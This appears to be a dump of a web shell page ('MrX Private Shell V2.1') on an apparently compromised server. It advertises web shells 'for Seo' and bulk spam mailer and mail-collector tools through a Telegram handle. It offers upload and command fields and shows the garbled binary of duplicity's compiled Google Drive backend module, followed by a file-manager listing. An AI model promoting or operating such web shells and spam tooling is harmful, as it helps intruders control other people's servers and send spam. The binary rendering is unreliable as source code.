__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gA���SSKrSSKrSSKrSSKJr SSKJr "SS\RR5r	\RRS\	5 \RRRS/5 g)�N)�log)�BackendExceptionc�V�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�
GDriveBackend�z1Connect to remote store using Google Drive API V3�diPc�P�[RRRX5 SSKJn SSKJn 0Ul0Ul0Ul
0UlSUlSUR ;a5SS0UlSUR SS0UlS	S
0Ul
SS
0UlONSUR ;a3SS
0UlS	S
0Ul
SS
0UlUR SSUlO[S5eUR"bUR"SUR$3nOUR$nS[&R(;aPUR+[&R(S5nUR,U:wa[SUR,SUS35eGO?S[&R(;GaS[&R(;Ga
SSKJn SSKJn Sn[&R6R9[&R(S5(a<[;[&R(SS5n	[<R>"U	5nSSS5 U(aUR@(GdEU(a9URB(a(URD(aURGU"55 O�URI[&R(SS/5n
U
RJSU:wa[SU
RJSSUS35eSS0nS[&R(;a[M[&R(S5US'S [&R(;a[&R(S US!'U
RN"S40UD6n[;[&R(SS"5n	[<RP"Xi5 SSS5 URRU:wa[S#URRSUS35eO[S$5eU"SS%US&9Ul*UR(aURSnO UR(a
URnOS'nUR6RWS(5n
U
GHnU(dM
S)U-S*-U-S+-nURTRY5RZ"S4US,S-S..URDURDURDURD6R]5nUR_S//5n[aU5S:XahUS0U/S1.nURcUR5 URTRY5Rd"S4US2S3.URD6R]5nOUSnUS2nGM X�l30Ul4g![an[S[U535eSnAff=f!,(df   GNd=f!,(df   GN=f)5Nr)�build)�CredentialsznGDrive backend requires Google API client installation.
Please read the manpage for setup details.
Exception: �driveID�corpora�drive�driveId�includeItemsFromAllDrivesT�supportsAllDrives�myDriveFolderID�userzVgdrive: backend requires a query paramater should either be driveID or myDriveFolderID�@�GOOGLE_SERVICE_JSON_FILEz(Service account email in the JSON file (z) does not match the URL (�)�GOOGLE_CLIENT_SECRET_JSON_FILE�GOOGLE_CREDENTIALS_FILE)�InstalledAppFlow)�Request�rbz*https://www.googleapis.com/auth/drive.file�	client_idzClient ID in the JSON file (�open_browserF�GOOGLE_OAUTH_LOCAL_SERVER_PORT�port�GOOGLE_OAUTH_LOCAL_SERVER_HOST�host�wbz#Client ID in the credentials file (zxGOOGLE_SERVICE_JSON_FILE or GOOGLE_CLIENT_SECRET_JSON_FILE environment variable not set. Please read the manpage to fix.�v3)�credentials�root�/�name = '�' and 'zR' in parents and mimeType = 'application/vnd.google-apps.folder' and trashed=false��files(name,id),nextPageToken)�q�pageSize�fields�filesz"application/vnd.google-apps.folder)�name�mimeType�parents�id)�bodyr-�)5�	duplicity�backend�Backend�__init__�googleapiclient.discoveryr
�google.oauth2.service_accountr�ImportErrorr�str�shared_drive_corpora�shared_drive_id�shared_drive_flags_include�shared_drive_flags_support�shared_root_folder_id�
query_args�username�hostname�os�environ�from_service_account_file�service_account_email�google_auth_oauthlib.flowr�google.auth.transport.requestsr�path�exists�open�pickle�load�valid�expired�
refresh_token�refresh�from_client_secrets_file�
client_config�int�run_local_server�dumprr�splitr.�list�execute�get�len�update�create�folder�id_cache)�self�
parsed_urlr
r�err$rr�token�flow�	flow_args�parent_folder_id�folder_names�folder_namer+�results�	file_list�
file_metadatar`s                    �B/usr/lib/python3/dist-packages/duplicity/backends/gdrivebackend.pyr8�GDriveBackend.__init__#s������!�!�*�*�4�<�	�7�A�@%'��!�!���*,��'�*,��'�%)��"��
�-�-�-�)2�G�(<�D�%�$-�z�/D�/D�Y�/O�PQ�/R�#S�D� �/J�D�.Q�D�+�/B�D�.I�D�+�
�*�"7�"7�
7�)2�F�(;�D�%�/J�D�.Q�D�+�/B�D�.I�D�+�)3�)>�)>�?P�)Q�RS�)T�D�&�"�h��
����*�%�.�.�/�q��1D�1D�0E�F�I�"�+�+�I�%����3�%�?�?��
�
�Ke�@f�g�K��0�0�I�=�&�>�{�?`�?`�>a�b/�/8�k��<���>�.����
;�@Y�]_�]g�]g�@g�B�>��K��w�w�~�~�b�j�j�)B�C�D�D��"�*�*�%>�?��F�%�"(�+�+�e�"4�K�G��k�&7�&7�&7��;�#6�#6�;�;T�;T��'�'��	�2�+�D�D��
�
�#C�D�E�F��D�
�)�)�+�6�)�C�.�:�4�;M�;M�k�;Z�:[�\7�7@�k��D���
"0�� 7�I�7�2�:�:�E�,/��
�
�;[�0\�,]�	�&�)�7�2�:�:�E�,.�J�J�7W�,X�	�&�)�"&�"7�"7�"D�)�"D�K��"�*�*�%>�?��F�%��K�K��3�G��$�$�	�1�&�9�+�:O�:O�9P�Pj�kt�ju�uv�w���2�#�D��
�
�7�D�k�B��
����#�3�3�I�>��
�
'�
'�#�9�9��%��"���,�,�S�1��'�K��������#�#�g�	g�
��
�
� � �"����	���9�		�
�/�/�	��*�*�
	��5�5�	��5�5�	����
� ���G�R�0�I��9�~��"�'� D� 0�1�!�
�
�$�$�T�%9�%9�:��J�J�$�$�&��V���*�#���9�9�	��W�Y��#�1���%�d�|��W(�Z'����
��M�	�"����F�8���
��	��JG�F��4G�F�s/�U�V�.V�
V�%U<�<V�
V�
V%c��SSKJn [R"U5nXR;a�URUnUR
R
5R"SUSS.URD6R5nUSU:XaFUS(d<USH3nXPR:XdM[R"SUS	US
35 Us $ [R"SUS
US35 URU	SUSURS3nUR
R
5R"SUSSS.UR DUR"DUR$DURD6R5nURS/5n	['U	5S:�a[R("SUS35 ON['U	5S:�a?U	SSnU	SSURU'[R"SUS	US35 U	S$[R"SUS35 g!Ua&nURRS:waeSnAGNsSnAff=f)Nr��	HttpErrorzid,size,name,parents,trashed)�fileIdr-r/�trashedr1zGDrive backend: found file 'z
' with id z in ID cachei�zGDrive backend: invalidating 'z' (previously ID z) from ID cacher'r(z ' in parents and trashed = falsez!files(name,id,size),nextPageToken�)r+r-r,r.r)z'GDrive backend: multiple files called 'z'.r2z on server, adding to cachezGDrive backend: file 'z!' not found in cache or on serverr4)�googleapiclient.errorsrrrE�fsdecoderarr.r\r@r[r`r�Info�resp�statusrZr=r>r?r]�
FatalError)
rb�filenamerr�file_id�
drive_file�parent�errorr+rkrls
          rn�file_by_name�GDriveBackend.file_by_name�se��4��;�;�x�(���}�}�$��m�m�H�-�G�
��J�J�$�$�&��S���&�=���9�9�	��W�Y���f�%��1�*�Y�:O�",�Y�"7��!�[�[�0��H�H�'C�H�:�Z�X_�W`�`l�%m�n�#-�-�#8�
�H�H�5�h�Z�?P�QX�PY�Yh�i�j��
�
�h�'��x�j�����}�4T�U���J�J����
�T�
�	
��:��		
�
�+�+�	
��&�&�
	
��1�1�	
��1�1�	
��W�Y�	��K�K���,�	��y�>�A���N�N�D�X�J�b�Q�R�
��^�a�
���l�4�(�G�&/��l�4�&8�D�M�M�(�#��H�H�3�H�:�Z��y�Pk�l�m��Q�<�����)�(��3T�U�V���E�
��:�:�$�$��+��,��
�s$�A-H�- H�H�I�"I�Ic�6�URU5nUcgUS$)N�r2)r�)rbr|r~s   rn�
id_by_name�GDriveBackend.id_by_names&���&�&�x�0�
�����d�#�#�c�B�SSKJn [R"U5nUR	U5nURS5(aSnOSn[RRUR5nX`R:�aSnSnOSnSnU"URXWS	9n	Uc�X R/S
.n
U
RUR5 [R"SUS35 URR!5R""SU
U	S
.UR$D6R'US9nOg[R"SUSUSS35 URR!5R"SU	USS.UR$D6R'US9nUSUR(U'g)Nr)�MediaFileUploadz.gpgzapplication/pgp-encryptedz
text/plainT�F)�mimetype�	resumable)r/r1z#GDrive backend: creating new file '�')r3�
media_body)�num_retriesz)GDrive backend: replacing existing file 'z' with id 'r2)r�rsr4)�googleapiclient.httpr�rErwr��endswithrK�getsizer/�MIN_RESUMABLE_UPLOADr`r^r>rrxrr.r_r@r[ra)rb�source_path�remote_filenamer�r~�	mime_type�	file_sizer�r��mediarms           rn�_put�GDriveBackend._puts���8��+�+�o�6���&�&��7�
��#�#�F�+�+�3�I�$�I��G�G�O�O�K�$4�$4�5�	��1�1�1��I��K��I��K��� 0� 0�9�Z����%4�+�+��O�M�� � ��!5�!5�6��H�H�:�?�:K�1�M�N��
�
� � �"�����&�$���5�5�	���[��1�
�
�H�H�@��@Q�Q\�]g�hl�]m�\n�no�p�q��
�
� � �"�����$�%�d�+���5�5�	���[��1�
�*4�D�)9��
�
�o�&r�c�|�SSKJn URU5nURR	5R
"SSUS0URD6n[[R"UR5S5nSnU"Xe5nUSLaUR5up�USLaMSSS5 g!,(df   g=f)Nr)�MediaIoBaseDownloadrsr2r"Fr4)r�r�r�rr.�	get_mediar@rMrErwr/�
next_chunk)
rbr��
local_pathr�r~�request�fh�done�
downloaderrzs
          rn�_get�GDriveBackend._getBs���<��&�&��7�
��*�*�"�"�$�.�.�j�j��6F�j�$�Ji�Ji�j��
�"�+�+�j�o�o�.��
5���D�,�R�9�J��%�-�)�4�4�6����%�-�6�
5�
5�s�;'B-�-
B;c�P�Sn/nURR5R"SSURS3URSUS.UR
DURDURDURD6R5nX#RS/5-
nURSS5nUcOM�[SU55n[URR55H/nXT;dM
URU5cMURU5 M1 [U5$)	Nr�z' in parents and trashed=falser*)r+r,r-�	pageTokenr.�
nextPageTokenc3�*# �UH	oSv� M g7f)r/Nr4)�.0�items  rn�	<genexpr>�&GDriveBackend._list.<locals>.<genexpr>fs���=���V���s�r4)rr.rZr`�	PAGE_SIZEr=r>r?r@r[r\�setra�keysr��add)rb�
page_token�drive_files�response�	filenamesr|s      rn�_list�GDriveBackend._listMs0���
�����
�
� � �"����
��$�+�+��&D�E�!�^�^�9�(�
��/�/�
��*�*�
��5�5�
��5�5�
����
�
�<�<���4�4�K�!���o�t�<�J��!��)�,�=��=�=�	�
�T�]�]�/�/�1�2�H��)��0A�0A�(�0K�0W��
�
�h�'�3��I��r�c��URU5nUS:Xa/[R"S[R"U5S35 gUR
R
5R"SSU0URD6R5 g)Nr�zFile 'z*' does not exist while trying to delete itrsr4)
r�r�WarnrErwrr.�deleter@r[)rbr|r}s   rn�_delete�GDriveBackend._deletepsi���/�/�(�+���b�=��H�H�v�b�k�k�(�3�4�4^�_�`��J�J����%�%�X�W�X��8W�8W�X�`�`�br�c�Z�URU5nUcSnSU0$[US5nSU0$)N����size)r�rV)rbr|r~r�s    rn�_query�GDriveBackend._querywsD���&�&�x�0�
����D���~���z�&�)�*�D���~�r�c��SSKJn SSKJn [	X$5(a[
RR$[	X#5(a[
RR$[
RR$)Nr)�RefreshErrorrq)
�google.auth.exceptionsr�rvrr�
isinstancer�	ErrorCode�backend_not_found�backend_permission_denied�
backend_error)rb�	operationr�r�rrs     rn�_error_code�GDriveBackend._error_codesN��7�4��e�'�'��=�=�2�2�2�
��
,�
,��=�=�:�:�:��}�}�*�*�*r�)rr`rar=r?r@r>rAN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�r�r8r�r�r�r�r�r�r�r��__static_attributes__r4r�rnrrsC��;��I�*��k�Z:�x$�-:�^	7�!�Fc��+r�r�gdrive)
rErN�duplicity.backendr5r�duplicity.errorsrr6r7r�register_backend�uses_netloc�extendr4r�rn�<module>r�se��*
�
���-�j+�I�%�%�-�-�j+�Z
���"�"�8�]�;�	�����$�$�h�Z�0r�

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager